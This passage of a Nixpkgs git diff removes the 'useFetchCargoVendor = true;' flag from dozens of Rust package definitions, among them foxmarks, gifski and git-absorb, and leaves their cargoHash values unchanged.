   cargoHash = "sha256-v+7sykIVdrzBOkNVnpgUnCUG7SUf2UToq9P539UAOH4=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/fo/foxmarks/package.nix b/pkgs/by-name/fo/foxmarks/package.nix
index 984239dfb0b9..167c085ff881 100644
--- a/pkgs/by-name/fo/foxmarks/package.nix
+++ b/pkgs/by-name/fo/foxmarks/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-6lJ9acVo444RMxc3wUakBz4zT74oNUpwoP69rdf2mmE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-BAUqH2RVpLLXvN43J67xqtrQZT3OgNA9ot+joOB70DY=";
 
   buildInputs = [ sqlite ];
diff --git a/pkgs/by-name/fr/framework-tool/package.nix b/pkgs/by-name/fr/framework-tool/package.nix
index b05fc3fffe45..88b66ceb4d46 100644
--- a/pkgs/by-name/fr/framework-tool/package.nix
+++ b/pkgs/by-name/fr/framework-tool/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-eH6EUpdITFX3FDV0LbeOnqvDmbriDT5R02jhM2DVqtA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-qS65k/cqP9t71TxuqP1/0xIPkhe56WEEbzDzV6JfKrs=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/fr/frawk/package.nix b/pkgs/by-name/fr/frawk/package.nix
index 4c5870fe2690..a23557b22199 100644
--- a/pkgs/by-name/fr/frawk/package.nix
+++ b/pkgs/by-name/fr/frawk/package.nix
@@ -24,7 +24,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-wPnMJDx3aF1Slx5pjLfii366pgNU3FJBdznQLuUboYA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-VraFR3Mp4mPh+39hw88R0q1p5iNkcQzvhRVNPwSxzU0=";
 
   buildInputs = [
diff --git a/pkgs/by-name/fr/fre/package.nix b/pkgs/by-name/fr/fre/package.nix
index ddf57d3fd792..c28699d5ca37 100644
--- a/pkgs/by-name/fr/fre/package.nix
+++ b/pkgs/by-name/fr/fre/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-cYqEPohqUmewvBUoGJQfa4ATxw2uny5+nUKtNzrxK38=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-07qKG4ju2UOkTcgWAl2U0uqQZyiosK1UH/M2BvwMAaU=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/fr/frece/package.nix b/pkgs/by-name/fr/frece/package.nix
index 806c1496418b..ad279e69288d 100644
--- a/pkgs/by-name/fr/frece/package.nix
+++ b/pkgs/by-name/fr/frece/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-CAiIqT5KuzrqbV9FVK3nZUe8MDs2KDdsKplJMI7rN9w=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-4d1bgkwzC0jFD21Yb8mbnLXTqXTRsJPsMPidSRY4GVw=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/fr/freenukum/package.nix b/pkgs/by-name/fr/freenukum/package.nix
index 92d77091b6b2..4bedf724e0c8 100644
--- a/pkgs/by-name/fr/freenukum/package.nix
+++ b/pkgs/by-name/fr/freenukum/package.nix
@@ -41,7 +41,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Tk9n2gPwyPin6JZ4RSO8d/+xVpEz4rF8C2eGKwrAXU0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-lQZ9Z/1tbL7BeLmGxJXNUvrXsOGtgzGXNt6WYGezxi0=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/fr/french-numbers/package.nix b/pkgs/by-name/fr/french-numbers/package.nix
index 75628e6ffcc9..ed3b9c01d1e2 100644
--- a/pkgs/by-name/fr/french-numbers/package.nix
+++ b/pkgs/by-name/fr/french-numbers/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-6mcqT0RZddHlzjyZzx0JGTfCRcQ2UQ3Qlmk0VVNzsnI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-HtgJsvl+BkvTapGxi7B/0QMEUolOw4gGndj4/9w7Z4Y=";
 
   cargoBuildFlags = [ "--features=cli" ];
diff --git a/pkgs/by-name/fr/freshfetch/package.nix b/pkgs/by-name/fr/freshfetch/package.nix
index 850dc742e840..3d4b4043f9bd 100644
--- a/pkgs/by-name/fr/freshfetch/package.nix
+++ b/pkgs/by-name/fr/freshfetch/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "1l9zngr5l12g71j85iyph4jjri3crxc2pi9q0gczrrzvs03439mn";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-LKltHVig33zUSWoRgCb1BgeKiJsDnlYEuPfQfrnhafI=";
 
   # freshfetch depends on rust nightly features
diff --git a/pkgs/by-name/fs/fselect/package.nix b/pkgs/by-name/fs/fselect/package.nix
index 78d06b0c0f9a..91071606d955 100644
--- a/pkgs/by-name/fs/fselect/package.nix
+++ b/pkgs/by-name/fs/fselect/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-S7SFcOhFl5dVgUl2qlsE/Bizq8v0NPKPqBggzPGoOu8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-r6GKJGJThaaawHcL+IL29Vy/NXmA75eswEBWDS/zs1g=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/fs/fsrx/package.nix b/pkgs/by-name/fs/fsrx/package.nix
index b917a5454cbd..fe4496a7acab 100644
--- a/pkgs/by-name/fs/fsrx/package.nix
+++ b/pkgs/by-name/fs/fsrx/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-hzfpjunP20WCt3erYu7AO7A3nz+UMKdFzWUA5jASbVA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-hOE05t3gjul7uOt14vr5hAmGHTPgxJk7EOKJhZ4XgCo=";
 
   passthru = {
diff --git a/pkgs/by-name/fs/fst/package.nix b/pkgs/by-name/fs/fst/package.nix
index 9e16b78a479b..b70ca22aa820 100644
--- a/pkgs/by-name/fs/fst/package.nix
+++ b/pkgs/by-name/fs/fst/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-x2rvLMOhatMWU2u5GAdpYy2uuwZLi3apoE6aaTF+M1g=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-zO2RYJpTyFFEQ+xZH4HU0CPaeiy6G3uq/qOwPawYSkk=";
 
   buildInputs = lib.optionals stdenv.hostPlatform.isDarwin [ libiconv ];
diff --git a/pkgs/by-name/fu/fuc/package.nix b/pkgs/by-name/fu/fuc/package.nix
index 1473591785a0..e4ea5ecbc3ea 100644
--- a/pkgs/by-name/fu/fuc/package.nix
+++ b/pkgs/by-name/fu/fuc/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-wmCLJUuGL5u0VIIT17VB63xjfyBVy7/f0Qy27MezDN8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-hZEPH0Bx7lCU9xYIFLqBez4y+gIA0+WCqag3ZE6cPM0=";
 
   RUSTC_BOOTSTRAP = 1;
diff --git a/pkgs/by-name/fu/fum/package.nix b/pkgs/by-name/fu/fum/package.nix
index cc95bfdf5ff2..45535149f91e 100644
--- a/pkgs/by-name/fu/fum/package.nix
+++ b/pkgs/by-name/fu/fum/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-qZGbJGotxJCxlMIRPS/hw/cfz/k8PFdVKoJtqWKXD6s=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-g6Nn3teRHMdlKReX3j0jkhfJEHOigDF4ghSfSYU33o8=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/fu/function-runner/package.nix b/pkgs/by-name/fu/function-runner/package.nix
index a64b9788accb..be98a2b6f4ac 100644
--- a/pkgs/by-name/fu/function-runner/package.nix
+++ b/pkgs/by-name/fu/function-runner/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-i1RxK5NlKNV0mVm4vio557pM2claBTHTo8vmaNQPEvw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-97svZUTKcmC6EfY8yYDs2GrwpgRDj4dicDRzAza3cSY=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/fu/functiontrace-server/package.nix b/pkgs/by-name/fu/functiontrace-server/package.nix
index d371515e3742..99d199dc3331 100644
--- a/pkgs/by-name/fu/functiontrace-server/package.nix
+++ b/pkgs/by-name/fu/functiontrace-server/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-i+lXjFXCPT6Skr+r/RKYQm+iJ+WETJ/tAQg5U6qFFi8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-61+hEq0cdJZ+DTgN/ZtK6IKuwLCq3oxk0SrzqWewQXs=";
 
   passthru.updateScript = nix-update-script { };
diff --git a/pkgs/by-name/fu/fundoc/package.nix b/pkgs/by-name/fu/fundoc/package.nix
index fb1dfc72d2ae..5b706844b853 100644
--- a/pkgs/by-name/fu/fundoc/package.nix
+++ b/pkgs/by-name/fu/fundoc/package.nix
@@ -25,7 +25,6 @@ rustPlatform.buildRustPackage rec {
     })
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-17PzGHSwruHPRKjyiHWBMqHANR5ulb+/J5UoVsOrbyc=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/fu/funzzy/package.nix b/pkgs/by-name/fu/funzzy/package.nix
index f3f659bcc5bd..01197637f30a 100644
--- a/pkgs/by-name/fu/funzzy/package.nix
+++ b/pkgs/by-name/fu/funzzy/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-3EHZvgHlM3ldX6SEyqGf6MZIrDFOLXbKTZnJNczT570=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-n9UHyr7W4hrN0+2dsYAYqkP/uzBv74p5XHU0g2MReJY=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/fw/fw/package.nix b/pkgs/by-name/fw/fw/package.nix
index 1c362653909f..23e925ed56fc 100644
--- a/pkgs/by-name/fw/fw/package.nix
+++ b/pkgs/by-name/fw/fw/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-bq8N49qArdF0EFIGiK4lCsC0CZxwmeo0R8OiehrifTg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-sU7PfD77Sqi1Vrq2DgkkBF1bzL8d+/csa60CtQ7itSQ=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/fz/fzf-make/package.nix b/pkgs/by-name/fz/fzf-make/package.nix
index a6c766364dbc..da1723128764 100644
--- a/pkgs/by-name/fz/fzf-make/package.nix
+++ b/pkgs/by-name/fz/fzf-make/package.nix
@@ -22,8 +22,6 @@ rustPlatform.buildRustPackage rec {
 
   cargoHash = "sha256-GCnzqfTBvckWtgXCz0Yd0SHh82bC3bS7uLOAdY37z+s=";
 
-  useFetchCargoVendor = true;
-
   nativeBuildInputs = [ makeBinaryWrapper ];
 
   postInstall = ''
diff --git a/pkgs/by-name/g3/g3proxy/package.nix b/pkgs/by-name/g3/g3proxy/package.nix
index b9dcdad4c4e5..b532cab1133b 100644
--- a/pkgs/by-name/g3/g3proxy/package.nix
+++ b/pkgs/by-name/g3/g3proxy/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage rec {
   };
 
   cargoHash = "sha256-NbrJGGnpZkF7ZX3MqrMsZ03tWkN/nqWahh00O3IJGOw=";
-  useFetchCargoVendor = true;
 
   # TODO: can we unvendor AWS LC somehow?
   buildFeatures = [
diff --git a/pkgs/by-name/g9/g933-utils/package.nix b/pkgs/by-name/g9/g933-utils/package.nix
index 402c6609cfa7..6b0c735920c3 100644
--- a/pkgs/by-name/g9/g933-utils/package.nix
+++ b/pkgs/by-name/g9/g933-utils/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage {
     sha256 = "sha256-kGLMRqZHzRuXQNTjIuLz8JPC1c/ZK38msfkTIVnaomg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-xjn9EHYa8LJnj3GCZuug4IznxNCLzb9dtEnoQHRcdh8=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ga/galerio/package.nix b/pkgs/by-name/ga/galerio/package.nix
index eab5e1f4ba95..8e2a1105febe 100644
--- a/pkgs/by-name/ga/galerio/package.nix
+++ b/pkgs/by-name/ga/galerio/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-JR/YfMUs5IHBRr3uYqHXLNcr23YHyDvgH2y/1ip+2Y8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-jXUAjK/fqBaXaehcbFZU02w9/MTHluqKjtWGoAJa7ks=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ga/game-rs/package.nix b/pkgs/by-name/ga/game-rs/package.nix
index 2c22af0be73b..4f72c74d641a 100644
--- a/pkgs/by-name/ga/game-rs/package.nix
+++ b/pkgs/by-name/ga/game-rs/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-FuZl2yNre5jNSfHqF3tjiGwg5mRKbYer2FOPpLy0OrA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-klgcHNZ0vwy2iOYpwbdR37++WLAPx1ARNadfYTTqePw=";
 
   buildFeatures = [ "nixos" ];
diff --git a/pkgs/by-name/gd/gdrive3/package.nix b/pkgs/by-name/gd/gdrive3/package.nix
index dee540bec883..ce5c408e621c 100644
--- a/pkgs/by-name/gd/gdrive3/package.nix
+++ b/pkgs/by-name/gd/gdrive3/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-1yJg+rEhKTGXC7mlHxnWGUuAm9/RwhD6/Xg/GBKyQMw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ZIswHJBV1uwrnSm5BmQgb8tVD1XQMTQXQ5DWvBj1WDk=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ge/geckodriver/package.nix b/pkgs/by-name/ge/geckodriver/package.nix
index 216def2f4ff0..3a45ef4bf2d9 100644
--- a/pkgs/by-name/ge/geckodriver/package.nix
+++ b/pkgs/by-name/ge/geckodriver/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-rqJ6+QKfEhdHGZBT9yEWtsBlETxz4XeEZXisXf7RdIE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-wFRZhQzFBwwNfiszwr7XK3e8tfqqFG6DIe7viWvB5vg=";
 
   buildInputs = lib.optionals stdenv.hostPlatform.isDarwin [
diff --git a/pkgs/by-name/ge/gen-license/package.nix b/pkgs/by-name/ge/gen-license/package.nix
index 2a2d292e17fc..3f1d6f437933 100644
--- a/pkgs/by-name/ge/gen-license/package.nix
+++ b/pkgs/by-name/ge/gen-license/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-VOmt8JXd2+ykhkhupv/I4RfXz9P0eEesW3JGAoXStUI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-xXzUobB8RMyJOC4lKayE+6SKC7NW1dNWGUUH3i1TaW0=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ge/genact/package.nix b/pkgs/by-name/ge/genact/package.nix
index 00ecfe4e5c55..a72a6705f756 100644
--- a/pkgs/by-name/ge/genact/package.nix
+++ b/pkgs/by-name/ge/genact/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-Rn9kJWutWKPj9cLu2ZJKITmC+I8/ikhCAoIp00Yg6ZA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Ttg9stfiIYCXk35+GWdGOzQrM/aYZPZK+e9y+zw1ZXQ=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/ge/genealogos-cli/package.nix b/pkgs/by-name/ge/genealogos-cli/package.nix
index b4335cb7f497..cd7352a1b2e2 100644
--- a/pkgs/by-name/ge/genealogos-cli/package.nix
+++ b/pkgs/by-name/ge/genealogos-cli/package.nix
@@ -24,7 +24,6 @@ rustPlatform.buildRustPackage rec {
     '';
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-R3HQXPpTtqgXfc7nLNdJp5zUMEpfccKWOQtS5Y786Jc=";
 
   cargoBuildFlags = [
diff --git a/pkgs/by-name/ge/genemichaels/package.nix b/pkgs/by-name/ge/genemichaels/package.nix
index dd41285c3a6b..0dbbe783edab 100644
--- a/pkgs/by-name/ge/genemichaels/package.nix
+++ b/pkgs/by-name/ge/genemichaels/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-pzGTKswETm7RR0up1eSWC+X633rsVmEAJ3DYM8z6paQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-J7uibeoIKLC3jo5TstzC8udK+miAA52321eapOHVzbM=";
 
   cargoBuildFlags = [ "--package ${pname}" ];
diff --git a/pkgs/by-name/ge/genpass/package.nix b/pkgs/by-name/ge/genpass/package.nix
index 02ddd76f75f6..9c44ad320d4e 100644
--- a/pkgs/by-name/ge/genpass/package.nix
+++ b/pkgs/by-name/ge/genpass/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "UyEgOlKtDyneRteN3jHA2BJlu5U1HFL8HA2MTQz5rns=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-tcE2TugvTJyUsgkxff31U/PIiO1IMr4rO6FKYP/oEiw=";
 
   buildInputs = [
diff --git a/pkgs/by-name/ge/geticons/package.nix b/pkgs/by-name/ge/geticons/package.nix
index 5c9d8ae46a78..8abc67d636a7 100644
--- a/pkgs/by-name/ge/geticons/package.nix
+++ b/pkgs/by-name/ge/geticons/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-HEnUfOLeRTi2dRRqjDPVwVVHo/GN9wE28x5qv3qOpCY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-V3e3boIzn76irAfn9fF9MycPRAWorUUSD/CUZhgKv0E=";
   passthru.updateScript = gitUpdater { };
 
diff --git a/pkgs/by-name/ge/gex/package.nix b/pkgs/by-name/ge/gex/package.nix
index 0ecba4acd1e0..b5c4882749a2 100644
--- a/pkgs/by-name/ge/gex/package.nix
+++ b/pkgs/by-name/ge/gex/package.nix
@@ -34,7 +34,6 @@ rustPlatform.buildRustPackage rec {
     ./patch-libgit2.patch
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-4ejtMCuJOwT5bJQZaPQ1OjrB5O70we77yEXk9RmhywE=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/gf/gfold/package.nix b/pkgs/by-name/gf/gfold/package.nix
index 9bd3a11726e9..0c798004818a 100644
--- a/pkgs/by-name/gf/gfold/package.nix
+++ b/pkgs/by-name/gf/gfold/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-7PnqhS80Ozh5ZQNQ8iYgCiFT0JDLzhA09NV1HgrCOww=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-nGHJ96jFqG1pe3WUILPzm52HxrZYde2Z1p8N4DTaxlw=";
 
   passthru.tests.version = testers.testVersion {
diff --git a/pkgs/by-name/gh/gh-cal/package.nix b/pkgs/by-name/gh/gh-cal/package.nix
index eb6629c78a45..5c945690b1fc 100644
--- a/pkgs/by-name/gh/gh-cal/package.nix
+++ b/pkgs/by-name/gh/gh-cal/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-x9DekflZoXxH964isWCi6YuV3v/iIyYOuRYVgKaUBx0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-myfvPAeWuFHQcHXfkTYRfXVQ5ZBrdzQlaqHljbS0ppg=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/gh/ghciwatch/package.nix b/pkgs/by-name/gh/ghciwatch/package.nix
index 69694f1670ad..052843ed941e 100644
--- a/pkgs/by-name/gh/ghciwatch/package.nix
+++ b/pkgs/by-name/gh/ghciwatch/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-K7BNGRilzi01loE0yS4CZFDNz8TQ9Z+fELO5HUvGObE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-kH5YTadpaUXDma+7SfBJxrOIsd9Gm0EU3MfhFmQ3U80=";
 
   # integration tests are not run but the macros need this variable to be set
diff --git a/pkgs/by-name/gh/ghostie/package.nix b/pkgs/by-name/gh/ghostie/package.nix
index 8c80579becf7..9061cc64ca02 100644
--- a/pkgs/by-name/gh/ghostie/package.nix
+++ b/pkgs/by-name/gh/ghostie/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-lEjJLmBA3dlIVxc8E+UvR7u154QGeCfEbxdgUxAS3Cw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-nGib7MXLiN5PTQoSFf68ClwX5K/aSF8QT9hz20UDGdE=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/gi/gifski/package.nix b/pkgs/by-name/gi/gifski/package.nix
index eb0ee73c73a9..910c8f0aa8a9 100644
--- a/pkgs/by-name/gi/gifski/package.nix
+++ b/pkgs/by-name/gi/gifski/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-IjQ2PqjXhNvXknVxfphSSwQEWBuTkSxMFrbwd2trlVI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-2A7SDu9f7Tf74SAD72gCQ00Ccp3r2MaPo0qjVe3nR5s=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/gi/gimoji/package.nix b/pkgs/by-name/gi/gimoji/package.nix
index d6837ec1452b..fe8ebdb82990 100644
--- a/pkgs/by-name/gi/gimoji/package.nix
+++ b/pkgs/by-name/gi/gimoji/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-X1IiDnnRXiZBL/JBDfioKc/724TnVKaEjZLrNwX5SoA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-vAhHCNsViYyNSKeSGUL2oIp8bp5UCm8HReyDuoFvfqs=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/gi/ginko/package.nix b/pkgs/by-name/gi/ginko/package.nix
index fc73e339f3c4..0cd2d273b1b5 100644
--- a/pkgs/by-name/gi/ginko/package.nix
+++ b/pkgs/by-name/gi/ginko/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-lk+iZclni6jAkvN5/62YobFBAdwTUOfd5v7Fs8M6MQo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-7VwvFDjwUZechUrkxnXPFN6aMkr9KJkV81rpOZJHr8E=";
 
   meta = {
diff --git a/pkgs/by-name/gi/gir-rs/package.nix b/pkgs/by-name/gi/gir-rs/package.nix
index 3b1bb6f0a6a4..cb3a90c84cdf 100644
--- a/pkgs/by-name/gi/gir-rs/package.nix
+++ b/pkgs/by-name/gi/gir-rs/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage {
     sha256 = "sha256-GAAK4ej16e5/sjnPOVWs4ul1H9sqa+tDE8ky9tbB9No=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ObEXOaEdwJpaLJDkcSmAK86P7E6y0eUQQHFpX4hsuog=";
 
   postPatch = ''
diff --git a/pkgs/by-name/gi/girouette/package.nix b/pkgs/by-name/gi/girouette/package.nix
index 11ef95495dd4..870470b53c3f 100644
--- a/pkgs/by-name/gi/girouette/package.nix
+++ b/pkgs/by-name/gi/girouette/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-CROd44lCCXlWF8X/9HyjtTjSlCUFkyke+BjkD4uUqXo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-1jRm8tKL6QTBaCjFgt+NKQjdGjJIURTb3rs1SrrKwr4=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/gi/git-absorb/package.nix b/pkgs/by-name/gi/git-absorb/package.nix
index 7be09648f66c..310b7e28f1ad 100644
--- a/pkgs/by-name/gi/git-absorb/package.nix
+++ b/pkgs/by-name/gi/git-absorb/package.nix
@@ -26,7 +26,6 @@ rustPlatform.buildRustPackage rec {
     which # used by Documentation/Makefile
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-QBZItmKH9b2KwHR88MotyIT2krZl5QQFLvUmPmbxl4U=";
 
   nativeCheckInputs = [
diff --git a/pkgs/by-name/gi/git-agecrypt/package.nix b/pkgs/by-name/gi/git-agecrypt/package.nix
index 95e48e29d5e6..7ab042f00aa2 100644
--- a/pkgs/by-name/gi/git-agecrypt/package.nix
+++ b/pkgs/by-name/gi/git-agecrypt/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-cmnBW/691mmLHq8tWpD3+zwCf7Wph5fcVdSxQGxqd1k=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-71puTOjuV3egkip8pbiYbKxfhoZYtnirp4NrgiXR13I=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/gi/git-branchless/package.nix b/pkgs/by-name/gi/git-branchless/package.nix
index acfa061a27fc..2355d30ee5dd 100644
--- a/pkgs/by-name/gi/git-branchless/package.nix
+++ b/pkgs/by-name/gi/git-branchless/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-8uv+sZRr06K42hmxgjrKk6FDEngUhN/9epixRYKwE3U=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-i7KpTd4fX3PrhDjj3R9u98rdI0uHkpQCxSmEF+Gu7yk=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/gi/git-chain/package.nix b/pkgs/by-name/gi/git-chain/package.nix
index 54957d139fbb..21b15a2469d7 100644
--- a/pkgs/by-name/gi/git-chain/package.nix
+++ b/pkgs/by-name/gi/git-chain/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-lOAURUhR2Ts1DF8yW0WnovSWeZFC8UwR6j4cxoreonY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-0Ur80eIKQIsM5vyIt+9YpFufHTk97+T+KXoAkJE90Ag=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/gi/git-cliff/package.nix b/pkgs/by-name/gi/git-cliff/package.nix
index 880c9c899594..6e4ed9d1d7b5 100644
--- a/pkgs/by-name/gi/git-cliff/package.nix
+++ b/pkgs/by-name/gi/git-cliff/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-B421xXt7TrBJVwi04vygnw9t5o7/KLVpuItQtwV4E24=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-GGEKQgnSB2HW3VIj4CfxzUZaWYE2/nHJPN9ZMmHY5Ns=";
 
   # attempts to run the program on .git in src which is not deterministic
diff --git a/pkgs/by-name/gi/git-credential-keepassxc/package.nix b/pkgs/by-name/gi/git-credential-keepassxc/package.nix
index fec95af3a761..3e20e2215b2f 100644
--- a/pkgs/by-name/gi/git-credential-keepassxc/package.nix
+++ b/pkgs/by-name/gi/git-credential-keepassxc/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-qxNzWuuIoK9BJLVcWtrER+MyA5cyd03xAwGljh8DZC4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-jjexSzxRhnNPW+urG7KpZBWfGcy06Cg4lXlQogF3L/A=";
 
   buildFeatures =
diff --git a/pkgs/by-name/gi/git-dive/package.nix b/pkgs/by-name/gi/git-dive/package.nix
index c3190b1517b3..1e39b8e81b25 100644
--- a/pkgs/by-name/gi/git-dive/package.nix
+++ b/pkgs/by-name/gi/git-dive/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-sy2qNFn8JLE173HVWfFXBx21jcx4kpFMwi9a0m38lso=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-qRF111ofiM8SNUjQfpDg75OPpJnP7fOqM8Ih3NQUdGY=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/gi/git-gamble/package.nix b/pkgs/by-name/gi/git-gamble/package.nix
index d39850168a15..d292a03e512c 100644
--- a/pkgs/by-name/gi/git-gamble/package.nix
+++ b/pkgs/by-name/gi/git-gamble/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage {
   pname = "git-gamble";
   inherit version src;
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-v8sQuFmHHWuLUhRND1CzI5VkybgHRETVyNNabw1Uhyg=";
 
   nativeCheckInputs = [ gitMinimal ];
diff --git a/pkgs/by-name/gi/git-gone/package.nix b/pkgs/by-name/gi/git-gone/package.nix
